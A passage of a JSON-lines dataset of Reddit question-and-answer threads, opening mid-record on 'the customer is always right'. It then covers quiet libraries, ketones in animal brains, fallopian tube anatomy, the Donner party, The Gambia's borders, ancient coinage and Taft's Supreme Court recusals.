the A/C because they would leave them set too low overnight. I guarantee, had I not been sitting right there and had there not been a lockbox on that thermostat, that customer would have adjusted it herself. She certainly looked like she wanted to. I'm a small business owner, not a frickin' tycoon.\n\nAnyways, I never heard from that lady again, and she never left a negative review, probably because she realized how stupid she was acting. I took the amount our stylist would have made from that lady and subtracted it from her rent for that week, because I'm a nice guy, not as an admission of guilt. Screw customers like that.", "The answer is actually pretty simple. A lot of people suggest that is has to do with customer experience and word of mouth: I will argue that this is not true.\n\nThere are industries, such as ISPs, where it really doesn't matter what the customer thinks. They're going to go ahead and do what they want to do regardless of what any subscriber thinks. Look at Comcast, and Charter, and how they've been buying everything up. Both of these companies suck, and everyone knows they suck. But they are operating on the other business paradigm \"The provider is always right.\".\n\nThe market tends to prefer \"The customer is always right.\"; both from a consumer perspective and a business perspective. A business might prefer it because it is a **part** of what keeps large companies from growing too large as to threaten monopolies. Microsoft, for instance, also takes the \"vendor is always right\" approach. The \"customer is right\" paradigm is intended to empower both boycott and word of mouth advertising which are instrumental market mechanisms when it comes to the survival of smaller businesses. Because if the largest business in the industry gets to set the rules: then they will easily shut out the competition. As has been entirely the case with ISPs land-locking their competition out of the market by owning all of the infrastructure in the ground. The only solution to this is if an even bigger company comes along and makes an even bigger investment. Such has been the case with Google Fiber.\n\nWe prefer the \"customer is always right\" model because it is far healthier for a diverse and distributed economy than the \"vendor is always right model\". It has nothing to do with whether or not they're actually right. It has to deal with empowerment of the consumer.", "I was taught a new way of thinking a few years ago, \"The customer is not always right but the customer is always the customer\".", "Super Coupon customers are a special kind evil....they go ballistic over 25 cent coupon on shampoo and you have to stand there and take their crap because they saw tips on the internet .... ", "Speaking from the perspective of the hotel business (I'm a partial investor in one) you have to strike a balance. In the late 80's, Hampton Inn ran a \"satisfaction guaranteed or your stay's on us\" campaign, which caused such enormous chaos with their franchisees (due to very high volume of complaints solely to get the free room) that they had to terminate the campaign and a lot of them actually had to put up very carefully worded signs that they did not honor that promotion due to rampant abuse. The home office tried to spin it 'paid off in the end with repeat business' that they 'tracked' but talk to any franchisee who was around during that era, advertising that was an unmitigated disaster. \n\n\nNow, on the internet, where every idiot is nuclear-capable with other peoples reputations, it makes things even dicier, particularly for a small business when it comes to dealing with predatory customers (since they're going to have a small internet footprint where a complaint could be very overweight), but there is hope... Things are changing for the better. \n\n\nThe internet has been around long enough now that people aren't as widely influenced by a bad review as they once were. Not even 10 years back, a single bad review could cause real trouble in your online bookings, Now, people tend to evaluate the whole picture, meaning that while you do strive to make everyone happy, when you get that psycho who cannot be pleased, a calm response to their unwinnable complaint (online or otherwise) is usually enough for the customers to realize what they're seeing. \n\n\nSo, for us anyway, the formula isn't 'the customer is always right'. \nThe formula for us, in a nutshell, is more like \"Work as hard as possible to make the customer happy but if you encounter a hostile or adversarial customer who won't let you win, then they're not right and fuck them... and if they go whine on the internet, we'll be right there to rebut everything they say\". \n\n\n\n\n", "Small business owner here. The customer is always right because no matter how annoying, rude, or frustrating they become it is still worth your time to appease their every need.   One bad review; be it word of mouth, social media, or yelp negates a hundred positive things someone has heard about your business.  Making them feel \"right\" is paramount to your existence as a SBO.  ", "Fuck the customer always being right. I was told a story from a co worker about a guy that came in to order a pizza. This pizza has a white sauce, chicken, bacon, chives, and parmesan cheese, but the guy only wanted the sauce, chicken, and cheese. My co workers tell him it won't taste very good, and offer to add different toppings to it. He declines and says make it the way he wants. They make the pizza, box it up, and send him on his way. He comes back in a couple minutes later complaining that the pizza doesn't taste good and he wants them to make another one for free. They tell him no and say we told you it wouldn't taste good and that you could have added other toppings. \n\nHe gets upset and leaves. He comes back and asks are they really not going to make him another pizza. They say only if he's paying for another one. He leaves. He then comes back and asks again, which they decline again, and this time he grabs a couple plastic forks and throws them at them and runs out. Well it was slick outside, he slips on a snowbank and almost gets his legs ran over by a car. Jumps up runs across the street and doesn't come back. \n\nAbout 15 minutes later, they get a phone call from the guys girlfriend saying her boyfriend bought a pizza and it was just chicken, sauce, and cheese and it didn't taste good like that. They said we know, we told him that and offered other toppings which he declined. She asked if they'd make another one and they said only if they were paying, she hung up.", "It's a business tactic to kill competition, once you get enough volume you can afford to take a hit for every disgruntled customer, smaller businesses won't be able to.\n\nTreat customers like Gods for a generation or two and you make sure nobody can afford to compete with you.", "Another storytime!:\n\n\nI worked at a large (no longer existant) bookstore chain in a large city while I was in college. We were in the middle of tourist central, and holidays were chaotic with lines wrapping around the store. We would offer free gift wrapping for as long as our supplies lasted as a courtesy, that we all happily obliged. \n\n\nFlash forward to two days after the holiday rush, an elderly woman comes in, and goes to purchase a few children's books. I ring her up in my sing song voice, and she asks me if we will wrap these for her. I look and notice we have zero wrapping paper left, so I let her know that whole we have no more free wrapping paper left, we do sell wrapping paper in our stationary section, and I would even wrap it for her with that if she'd like.\n\n\nWell...She proceeds to expel some heavy cursing from her around 80 year old mouth, and goes towards our stationary section. I shrug it off and wait for her to come back. \n\n\nShe came back alright, and proceeded to hit me over the head with a roll of wrapping paper while cursing at me. All this over a holiday 'courtesy'.... \n\n\nOur loss prevention guys come over, pick her up and remove her....Also find she was trying to steal Harlequin novels in her saddle bag (alot of people would steal these in mass to resell on street tables). \n\n\nTL;DR: Cashier (me) has run out of \"while supplies last\" wrapping paper AFTER the holidays, gets beaten over the head with wrapping g paper roll by 80 year old woman who is also stealing Harlequin novels. \n\n\nI have soooooo many stories from that place, large bookstores in metropolitan areas just breed curiosities.", "It creates lack of respect among true loyal patrons. The screamer has no loyalty to that store. He/she will go where ever it pleases them, not where they get good service  &  a good product. His/her friends will know they are complainers of everything. When other patrons see the accommodation to assholes they lose respect for the business when they see principles and standards are lowered for a buck. In fact they see it as greedy. As for the employees, a study showed they feel abandoned by administration and look out for themselves where as employees that feel supported put the customer first and satisfaction scores go up.\n\n_URL_1_\n\n_URL_0_\n\n_URL_2_\n\n_URL_3_\n\nA Boston shop owner received complaints from an elderly irate customer because his employee would not open the store on a Sunday for her to return shirts. She flamed his business on Facebook. He welcomed her to return the items, informed her that his employees had responsibilities to their families and loved ones, and banned her from his stores. His business tripled.\n\nDon't be a blind slave to a phrase created in 1909 when human beings were not greedy and were courteous by nature. Customers are now dishonest, have unrealistic expectations and want something for nothing. Progress to the times of now. Can you imagine what life would be like if we kept draining peoples blood when we thought they had a disease? \n\nIn South Florida the electronic stores changed their policy for video camera returns. Why? People were buying them to film their relatives bar mitzvah, birthdays, or other special events instead of paying for the camera or hiring a videographer. How did they find out? The tapes of the events were left in the cameras when they were returned.\n\nProgress. Re-adjust. Be realistic.", "There is no specific source for the whole \"The customer is always right\" mindset when it comes to retail.  There's been some arguments as to where it likely started, yes, but nothing you could specifically say \"this is where it began.\"  The best arguments I've heard seem to point to it starting sometime in the 1900's with the Woolworth's chain of stores.  They were a simple five and dime chain that later grew into something far larger.  In any case, Woolworth's had this policy to never argue with the customers, regardless of the reason.  Given that the most something in their stores could cost was ten cents (this later changed, of course, as inflation took over), then the store really wasn't out much if a patron wished to argue that something cost five cents; as opposed to ten cents.  From there, the idea that the retail salesman (there were few if any sales ladies at this time) was there to serve, and not to argue or haggle over prices, seemed to take hold.  \n\nOver time, the idea that \"the customer is always right\" has evolved some.  Many companies, such as Wal-Mart once held to this, though in recent years they have opted to change.  Back until about 1996, Wal-Mart had a policy that regardless of WHEN you bought something from their store, you could always return that item, whether damaged or not, and get full price or an exchange. No questions asked.  Around 96, though, this rule changed, with receipts being required and a whole host of regulations and limitations coming into play.  Now, even in situations where a store claims \"the customer is always right\"  the saying is more often applied with the addition \"except when he is wrong.\"  The latter being very important when it comes to the more technical nature of many products being sold such as computers, or highly technical electronics.\n\nAs to the idea ever ending? Honestly I don't see that happening any time soon.  There would have to be a massive shift in attitudes, and let's be honest here;  people don't like to be told they're wrong, even when it's painfully obvious that's the fact.  Thus, while we can't positively say WHERE the idea started, we can be certain that it will be with us for some time to come.", " >  \"The customer is always right\" is a motto or slogan which exhorts service staff to give a high priority to customer satisfaction. It was popularised by pioneering and successful retailers such as Harry Gordon Selfridge, John Wanamaker and Marshall Field. They advocated that customer complaints should be treated seriously so that customers do not feel cheated or deceived. This attitude was novel and influential when misrepresentation was rife and caveat emptor (let the buyer beware) was a common legal maxim.[source](_URL_0_) ", "appeasements are a part of a companys budget. its like settling in court. would you rather have this person taking up company time, not buying anything and causing a scene, or would you rather just give them a Chili's gift card.  ", "Capitalism.  Its not supposed to be taken verbatim, its just meant to be a mindset or motif for interacting with a customer.  \n\n\nIf you act as if the customer is always right, the customer will like you, theyll feel good around you, theyll recommend you.  If one thing goes bad and the customer feels shitty about the experience they may damage your image.  \n\nSo, sometimes you take a loss on giving them something for free so that they recommend and keep coming back to you giving you a larger net gain.", "I have been told, though take this with a grain of salt, that a lot of people misinterpret the phrase to mean \"the customer always gets what they want\" when it should more correctly understood as \"always take the customer seriously/at face value.\"\n\nEssentially... don't call the customer a liar, treat them and their views with respect. So if they tell you that a gorilla is ransacking produce, then by all means give them a \"yes ma'am I'll go look right into it.\" If they say \"I found all these eggs were broken right as I walked out the door,\" you don't respond with \"are you sure that's what happened, sir?\" even if you saw their toddler smashing them yourself. However, if your store has a no refund policy on dairy, you would still not be out of line to say, \"I completely believe you sir, but as it is our store is unable to offer a refund on those eggs.\" You might offer a straight replacement though.\n\nThis means you don't just let customers use expired coupons, or curse at you, or return obviously damaged goods, it just means you take what they have to say as a legitimate concern that is worth your time.", "It's easier to please an outlandish customer than it is to deal with and fight possible bad PR that customer could bring upon your business.", "When people realized that they make more money dealing with a few outliers,  than imposing their own views and opinions on their customers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/The_customer_is_always_right"], [], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/The_customer_is_always_right", "https://en.m.wikipedia.org/wiki/Harry_Gordon_Selfridge"], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/The_customer_is_always_right#cite_note-4"], [], [], [], [], [], [], ["http://www.phrases.org.uk/meanings/106700.html"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.snopes.com/business/consumer/nordstrom.asp"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.businessinsider.com/southwest-airlines-puts-employees-first-2015-7", "http://www.inc.com/larry-kim/is-the-customer-always-right-not-a-chance.html", "http://www.inc.com/oscar-raymundo/richard-branson-companies-should-put-employees-first.html", "http://positivesharing.com/2008/03/top-5-reasons-why-the-customer-is-always-right-is-wrong/"], [], ["https://en.m.wikipedia.org/wiki/The_customer_is_always_right"], [], [], [], [], []]}
{"q_id": "11s7q9", "title": "How far back do quiet policies in libraries go? Was there a time in Western culture when you weren't at risk of getting shushed?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/11s7q9/how_far_back_do_quiet_policies_in_libraries_go/", "answers": {"a_id": ["c6p76ta", "c6p8box", "c6p8dkx"], "score": [4, 10, 3], "text": ["Our modern university system evolved out of medieval monastic tradition. The academic robes we still wear are a significant reminder of this, and there are many things we don't question that stem from medieval tradition. Back then, books were expensive and rare, and not many people were literate. Libraries in medieval monasteries were many things: storage, areas of privilege, and creative centers. Scribes wrote and copied books all day long, glossed in margins, and collected and shared rare books. Consider that literally every hour of these people's lives was planned out with some sort of duty--a lot of singing, a lot of work, and very little sleep. They doubtless had strict rules about talking in the library, and not just in the library--even during meals they listened quietly to bible readings.\n\nI don't know about libraries of the ancient world; maybe they were less strict.\n\ntl;dr: I assume it comes from the medieval monastic lifestyle.", "Classical Latin, it seems, was always written to be read aloud (a charming piece for Undergraduates at Middlebury on this - _URL_0_ ).\n\nAugustine, in his *Confessions* reports that St. Ambrose was able to read without speaking aloud the words as he read them, and seems to present this as unusual. With a brief search I've found several non-scholarly sources which cite him as the first man able to read silently, although I'm open to correction. \n\n\"Now, as he read, his eyes glanced over the pages and his heart searched out the sense, but his voice and tongue were silent. \n\nOften when we came to his room--for no one was forbidden to enter, nor was it his custom that the arrival of visitors should be announced to him--we would see him thus reading to himself. \n\nAfter we had sat for a long time in silence--for who would dare interrupt one so intent?--we would then depart, realizing that he was unwilling to be distracted in the little time he could gain for the recruiting of his mind, free from the clamor of other men\u2019s business. \n\nPerhaps he was fearful lest, if the author he was studying should express himself vaguely, some doubtful and attentive hearer would ask him to expound it or discuss some of the more abstruse questions, so that he could not get over as much material as he wished, if his time was occupied with others. \n\nAnd even a truer reason for his reading to himself might have been the care for preserving his voice, which was very easily weakened. Whatever his motive was in so doing, it was doubtless, in such a man, a good one.\" \n\nAs far as I am aware this is the earliest mention of somebody reading in their head (the relevant part of the Confessions - Book 6, Chapter 3 - records Augustine aged 30, making this refer to events in about 384), but if someone has an earlier reference I'd love to see it!\n\nThe passage mentions that Ambrose is in his own room, so doesn't tell us directly about a Library, but if, until this point people did not read in their heads, then its possible that a Library could be a noisy place!", "In the Jewish tradition, studying the Torah in the [Beth Midrash](_URL_1_) (House of Learning, often attached to a synagogue) was not a silent affair. Traditionally, the Torah is read out loud and discussed with a [chavrusa](_URL_0_) or study partner. A Beth Midrash can be quite noisy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://community.middlebury.edu/~harris/LatinBackground/SilentReading.html"], ["http://en.wikipedia.org/wiki/Chavruta", "http://en.wikipedia.org/wiki/Beth_midrash"]]}
{"q_id": "5vhrb5", "title": "Are human the only animals that can use ketone bodies to fuel the brain?", "selftext": "I recently heard that humans are the only animals that can use ketone bodies (B-hydroxybutyrate) to fuel their brains and I was wondering if this was true. Are other primates capable of doing this? If yes, which ones? In either case, is there any understanding of when this mutation appeared in humans/primates?\nIt seems like the ability to maintain mental acuity in a fasted/starved state would certainly be a useful at whatever point in our history we became meat eating hunters.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5vhrb5/are_human_the_only_animals_that_can_use_ketone/", "answers": {"a_id": ["de276ln", "de2fviq", "de2pwmt", "de2w9o9", "de302aa", "de32vr6"], "score": [1147, 33, 6, 3, 20, 6], "text": ["No, humans are not the only the only animals that use ketone bodies.\n\nKetone bodies are a normal metabolite within lipolysis, ketogenesis and ketosis (burning fats from your fat tissue) and a great deal of what we know about lipid (fat) metabolism was derived from rat and mouse experiments. So at the very least ketones as fuel existed in the joint ancestor of all mammals, millions and millions of years before the first primates existed.\n\nBut it likely goes back much further.\n\nConsider also that when many animals sleep they make use of their fat stores to maintain energy homeostasis. Pretty much all animals with nervous systems engage in sleep or a sleep-like process. So lipolysis and ketone utilisation likely goes back at least as far as the joint ancestor of all chordate animals. And it likely goes back even further than that as lipid metabolism _in toto_ is a key pillar of keeping cells functioning\n\nHere's a paper from 1979 on ketone body metabolism in fish\n\n_URL_3_\n\nHere's one from 2006 on ketone and glucose metabolism in the honey bee vs fruit flies and mosquitos\n\n_URL_2_\n\nEdit:\nAs I'd not previously considered animals other than the ones I covered in my undergraduate degree, here are some other references I've found for other animals\n\n2015: Fruitfly brains can metabolise fatty acids directly (where ketones would be a metabolic intermediate)\n_URL_0_\n\n1976: Ruminants like sheep don't use ketone bodies in their brain\n_URL_1_", "I think this rumor comes from human brains being able to adapt the largest percent of brain tissue to using ketones when in a state of ketosis. This probably has less to do with ketosis being more appropriate for humans than other animals and more to do with the unique makeup of our brains and unusually large cerebral cortex. I'm not aware of any research, but I'd be willing to bet dolphin brains use more ketones than ours. Other hunting carnivores that can't use ketones as well have to shift their brains and metabolism in general to a low energy state called hibernation to survive the winter. Whereas humans and some others can maintain a high energy state via ketones and continue to hunt through the winter. ", "I have my bachelors degree in neuroscience and I'm working on my PhD studying medical potential of snake venom proteins (I enjoy working with the animals so I've shied away from a neuro only degree).  I have always been taught that the human brain can only use glucose as an energy source, hence the rapid brain death when deprived of oxygen.  I thought this also meant gluconeogenesis did not occur in neurons.  Also that ketones could not be used as an energy source in the brain as in other tissues.  Do you happen to have the source for the research showing neural tissue using ketones as an energy source?  I'm very curious as I've been taught otherwise for years.  Thanks!", "Also like to point out that not 100% of your brain needs ketone. Some part of it actually need glucose. Now if you are on the keto diet do not worry all the glucose needed can be created with a process called Gluconeogenesis.", "My thirteen year old daughter has been running on ketones all her life. She has a rare neurological condition called Glucose Transporter Deficiency Syndrome - which means Glucose cannot pass through her brain barrier. She's been in ketosis for 12 years now. Ketones are the business for some - a far better option then a multitude of epilepsy drugs.", "FYI, under normal conditions the brain almost exclusively uses glucose for energy\n\n > Glucose is the only fuel normally used by brain cells. Because neurons cannot store glucose, they depend on the bloodstream to deliver a constant supply of this fuel. Fatty acids do not serve as fuel for the brain, because they are bound to albumin in plasma and so do not traverse the blood-brain barrier. In starvation, ketone bodies generated by the liver partly replace glucose as fuel for the brain.\n\n\nAll cells in the human body can use glucose, FFA and ketones for energy, the brain however almost exclusively uses glucose.  During a fed state the brain will use 20-25% of total body glucose \n\nDuring starvation and ketosis that number will jump up to 70% of total body glucose is used by the brain. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/articles/srep07805", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1309065/", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1847477/", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1161766/"], [], [], [], [], []]}
{"q_id": "1qngcy", "title": "Why do the fallopian tubes not fully envelope/connect with the ovaries? What is the purpose of the open space between them?", "selftext": "Is there a reason selective pressure due to something like ectopic pregnancies would not have led to enclosure of the ovaries? Or is there some type of counterbalancing pressure?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qngcy/why_do_the_fallopian_tubes_not_fully/", "answers": {"a_id": ["cdek61b"], "score": [24], "text": ["The fallopian tubes and the ovaries are two developmentally different systems. The fallopian (or uterine) tubes are the remnant of a structure called the paramesonephric duct. The duct in an embryo basically just opens up into the future abdominal cavity. The gonads, on the other hand form from a ridge-like structure along the back part of the future abdomen. Eventually, things called germ cells migrate into that ridge and eventually will become the eggs. Unfortunately these two things are separate, so in order to get the egg to where they're going to meet the sperm, you need a collecting duct, which is the fallopian tube. So, through a process of folding ridges that is kind of complicated, the ends of the paramesonephric duct end up in close association to the developing ovary. Then the fimbriae (finger-like extensions on the end of the tube) form, and during ovulation, they kind of grab the ovum to ensure that the egg doesnt miss its target.\n\nSo in short, I dont know if the space does anything other than being a remnant of embryology. In fact, it can actually be bad, because sometimes the egg in fact does miss the fallopian tube, and will settle somewhere inside the abdomen. This is especially bad if the sperm has already made it to the egg, in which case it can fertilize inside the abdomen, leading to an ectopic pregnancy (_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Abdominal_pregnancy"]]}
{"q_id": "92xknn", "title": "Did the Donner party actually resort to cannibalism?", "selftext": "I was listening to The Memory Palace and an episode on the Donner party seemed to suggest that they didn't actually resort to cannibalism, but I've heard my whole life that they had. Google didn't seem to yeild any results that were from sources I feel I can trust and had nothing but sensationalized titles, but I may be going about the search the wrong way.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/92xknn/did_the_donner_party_actually_resort_to/", "answers": {"a_id": ["e3956kx"], "score": [8], "text": ["[The Archaeology of the Donner Party](_URL_0_) (2005) edited by Don Hardesty is an excellent treatment of the Donner party. Every indication strongly points toward cannibalism as a final act of desperation of the group. Later, a few survivors insisted they did not engage in cannibalism. A recent limited excavation failed to find human remains and there was some publicity from that effort, suggesting that the failure to find human remains meant that cannibalism did not occur - but that was a bit of backward, flawed logic. People died and people were eaten. It is the harsh reality of the situation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.amazon.com/Archaeology-Donner-Shepperson-History-Humanities-ebook/dp/B01FVXP0UU"]]}
{"q_id": "ap4ux4", "title": "Why does The Gambia exist as an enclave within Senegal? It is such a small area, why did it not become part of Senegal?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ap4ux4/why_does_the_gambia_exist_as_an_enclave_within/", "answers": {"a_id": ["eg64l8x"], "score": [63], "text": ["The main reason is the colonial history. Trading rights on the Gambia River were originally claimed by the Portuguese during the slave trade and then sold to the British in the late 1500s. Over the following three centuries, European involvement in Africa gradually shifted from loose spheres of influence to more clearly defined ones and eventually to formal colonization with set boundaries. During this period, the British and French struggled over control of the Gambia River but British control was solidified through the First Treaty of Verseilles and an agreement in 1889 that settled the boundaries of the French and British colonies.\n\nEach colony then gained independence separately, Senegal from France in 1960 and the Gambia from Britain in 1965. While some did want unity between the countries, there were huge logistical barriers in terms of administration, laws, etc.\n\nTo explain in more detail, both pre- and post-independence, those governing Senegal had every reason to want control over the Gambia River, the only navigable river in the area for trade purposes. After independence, Senegal limited trade to privilege France as a trading partner, which depressed prices for exports like peanuts. The Gambia became a channel (literally and figuratively) for black market trade. If Senegal could gain control over the river, it would be easier to enforce their trade policies.\n\nIn the 1960s, the two countries commissioned a report on potential unification but nothing mich came of it, due to lack of support on all sides. Then in 1981, leftists attempted a coup in the Gambia and the Senegalese military intervened. This led to an attempt at partial unification the following year, via the Senegambia Confederation. Senegal wanted more access to the Gambia river and unity in trade policies. The Gambia wanted the protection of the Senegalese military and both countries had mutual security concerns since many ethnic groups span both countries. The confederation lasted until 1989. An inability to reach agreements about trade and the withdrawal of the Senegalese military from the Gambia (a result of conflict at the border of Senegal and Mauritania) as well as a general lack of political will on both sides caused the confederation to be abandoned.\n\nSources:\n\nBoubacar Barry. Senegambia and the Atlantic Slave Trade. (Cambridge University Press, 1998)\n\nDavid Birmingham. The Decolonization of Africa. (Ohio University Press, 1995)\n\nEdmund Richmond. \"Senegambia and the Confederation: History, Expectations, and Disillusions\".\u00a0Journal of Third World Studies.\u00a010\u00a0(2): 172\u2013194\n\nArnold Hughes and Janet Lewis. \"Beyond Francophonie?: The Senegambia Confederation in Retrospect\". In Kirk-Greene  &  Bach, State and Society in Francophone Africa since Independence. (St Martins Press, 1995)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ra0ia", "title": "Before the invention of banknotes, how much coin did it take to purchase assets of immense value?", "selftext": "How widespread and valuable was coinage prior to industrialization and mass production of goods?\n\nIn the modern world we have electronic banking and easy transfer of assets, all done through banks, but how did deals and contracts go down in the past?\n\nI was thinking about this when I was browsing an archive of coins. What striked me as odd was the fact that all the Chinese coins had a square hole in the center, used for chaining them up, while coins elsewhere did not. Does this mean that coins in China were more widespread in China, and thus worth less? How much coin would have had to be transferred for a person to buy a house in China say during the Song Dynasty? Versus in other parts of the world, let's say post Republic Rome. Would a person in Rome have had to carry large bags of coins or other assets to transfer goods, or did they use a more valuable coinage in gold? \n\nWhat happens when a ruler dies? Do the coins with that person's face lose their value and get smelt down every time for more coins? Or do they keep getting recirculated in the market along with other newer coins? What determined the value of one coinage currency vs. another, or were they of roughly the same value according to their quality and composition? \n\nWhen did currency ratios come into existence? Like here is my Song Dynasty coin and I shall trade it for a Kamakura coin 4.6 to the 1. Or here is my Macedonian coin which I shall trade for a Seleucid coin 6 to the 1. \n\nAnd what about coins from realms without monarchs like Republican Rome? Who's faces went on the coins and how did they determine which coins got taken out or introduced to the market? \n\nWhen did people start to understand what inflation was and how awful it was for coinage based economies? I mean you would have to lull so many coins you would literally have to hire people just to carry the bags I assume. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ra0ia/before_the_invention_of_banknotes_how_much_coin/", "answers": {"a_id": ["cne53nf"], "score": [3], "text": [" > In the modern world we have electronic banking and easy transfer of assets, all done through banks, but how did deals and contracts go down in the past?\n\nThis depended on where you were in time, and as this is a 'throughout history' type question it is a bit too broad. However, most large ancient polities had a system of credit to deal with large purchases. For example, during the Roman Empire, personal bankers would control assets for the rich (landowners), who would then often lend their money out. Very little coinage ever would have been involved in large transactions, and instead, it would have been exchanges of promises. Banking systems like these (and for early China, it would have been similar) relied primarily on personal relationships. You had your personal banker store and invest money, who would in turn likely invest it through lending. A large purchase simply involved the theoretical transfer of the promise of a large sum of coin from one personal banker to another.\n\n > Would a person in Rome have had to carry large bags of coins or other assets to transfer goods, or did they use a more valuable coinage in gold?\n\nCoinage was, first and foremost, an instrument of trade and commerce. \n\n > What happens when a ruler dies? Do the coins with that person's face lose their value and get smelt down every time for more coins? Or do they keep getting recirculated in the market along with other newer coins? What determined the value of one coinage currency vs. another, or were they of roughly the same value according to their quality and composition?\n\nThere is no hard and fast rule to answer this question, as it varied from ruler to ruler. Old coinage wouldn't necessarily be recalled unless that specific ruler was meant to be wiped out, however, most coins would remain in private hands so getting them was not a simple matter. The biggest change that occured over time in most jurisdictions was the almost inevitable devaluation of coinage through debasement. The precious metal content of coins tended to drop in time as governments in hard positions requiring capital almost always looked to debasement as the go-to strategy to quickly increase revenue. \n\n > When did currency ratios come into existence? Like here is my Song Dynasty coin and I shall trade it for a Kamakura coin 4.6 to the 1. Or here is my Macedonian coin which I shall trade for a Seleucid coin 6 to the 1.\n\nAncients had weights, and if the purity of a coin was trusted, that would be the easiest way to compare values. When intrinsic values come into play (particularly with debased coinage) things of course become more complicated.\n\n > And what about coins from realms without monarchs like Republican Rome? Who's faces went on the coins and how did they determine which coins got taken out or introduced to the market?\n\nMost often gods and heroes were depicted on the side that came to be associated with the Emperor, at least in the case of Rome. The depictions of Emperors followed closely the depiction of heroes in this case (both on coinage and in other instances) which makes a lot of sense.\n\n > When did people start to understand what inflation was and how awful it was for coinage based economies? I mean you would have to lull so many coins you would literally have to hire people just to carry the bags I assume.\n\nThere was certainly some understanding of inflation, as well as at least the underlying cause of debasement of coinage. Most jurisdictions that saw coinage debasement in the ancient world also saw attempts at correcting it, often by issuing of new types of coins that deliberately set themselves apart from older coins. However, these were painful affairs. \n\nIt's important to remember that the average workers would have been incredibly poor during the ancient and medieval period by today's standards, so most people would never have a lot of coins just laying around. Hordes certainly existed among the rich as stores of value, but as mentioned above, almost any purchase necessitating a large transfer of coinage would have been done with a piece of paper."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4bhryh", "title": "Did Chief Justice Taft ever have to recuse himself from a case because it concerned a law he signed or supported while he was President?", "selftext": "It's common for Justices to recuse themselves from cases in which they were involved before becoming a Justice and I was wondering if Taft ever had to do the same.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4bhryh/did_chief_justice_taft_ever_have_to_recuse/", "answers": {"a_id": ["d19hj5d", "d19ihqv"], "score": [190, 50], "text": ["The case histories of the supreme court are well-documented in the [United States Reports](_URL_0_)\n\nSo far, I've found that none of the cases the Taft court heard had at issue laws that were passed under Taft as President. Constitutional challenges of federal laws (those that we would have signed), which are less numerous than state laws as typically more difficult to challenge, are less common in the court's history of cases tried.\n\nI can find that Taft recused himself three times:\n\n- *Lucas v. Earl, 281 U.S. 111, 50 S. Ct. 241, 74 L. Ed. 731 (1930).*, Concerning the Revenue Act of 1924.\n\n- *Corliss v. Bowers, 281 U.S. 376, 50 S. Ct. 336, 74 L. Ed. 916 (1930).*, Concerning the Revenue Act of 1918 and 1921\n\nBoth of the above cases were decided AFTER Taft had resigned the office because of his declining health, but still they bear the mark of his lack of participation without other notation.\n\n- *Biddle v. Perovich, 274 U.S. 480, 47 S. Ct. 664, 71 L. Ed. 1161 (1927).*, Concerning Presidential Powers\n\nThis is the only case I can find that he chose to recuse himself voluntarily.\n\nAn interesting side note is that although you describe the practice of recusal as 'common', and indeed today it is, the ethical standards of recusal in American jurisprudence were not always as codified and widespread. That's not to say that recusal was unusual or that the ethics behind a fair legal proceeding were any different, it's just that there was little in the way of legal authority to insure against such conflicts of interest. \n\nIt was Taft, just appointed to the Supreme Court, working with the American Bar Association to draft the first version of the ABA's Canons of Judical Ethics. This publication wasn't binding or otherwise legally enforceable, but it was a persuasive and influential set of standards that set the starting points that later and more objective canons would be based upon: The better codified and more enforcable ones that inform the 'common' ethics of jurisprudence today.", "Yes, I know for certain that Taft recused himself from Biddle v. Perovich (1927) which dealt with the issue of presidential pardons.  As President, Taft had commuted the sentence of Vuco Perovich from death to life imprisonment.  As a result, when Perovich's application for a writ of habeas corpus was presented to the court, Taft recused himself.\n\nWhy was Perovich asking for habeas corpus relief?  Well, when he learned that Taft had commuted his sentence from death to life imprisonment, he pushed for a pardon.  Perovich argued that his removal to the federal penitentiary at Leavenworth was without his consent and without authority, and asked the court in Kansas to release him.\n\nThe question before the Supreme court was whether or not the President had the authority to commute the sentence of death to life imprisonment. This is notable because not only did it concern the powers of the office Taft had held, it also directly concerned an action he had taken while holding said office.\n\nThe court ruled that the President may commute a sentence of death to life imprisonment without the convict's consent.  The constitution (Article II, Section 2) expressly grants the President the authority to \"to grant reprieves and pardons for offenses.\"  Whether or not Perovich wanted or accepted that mercy was irrelevant to the constitutionality of the President's action and therefore the writ of habeas corpus was denied. \n\nSource:\n*Biddle* v. *Perovich*, 274 U.S. 480, 486-488 (1927)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/United_States_Reports"], []]}
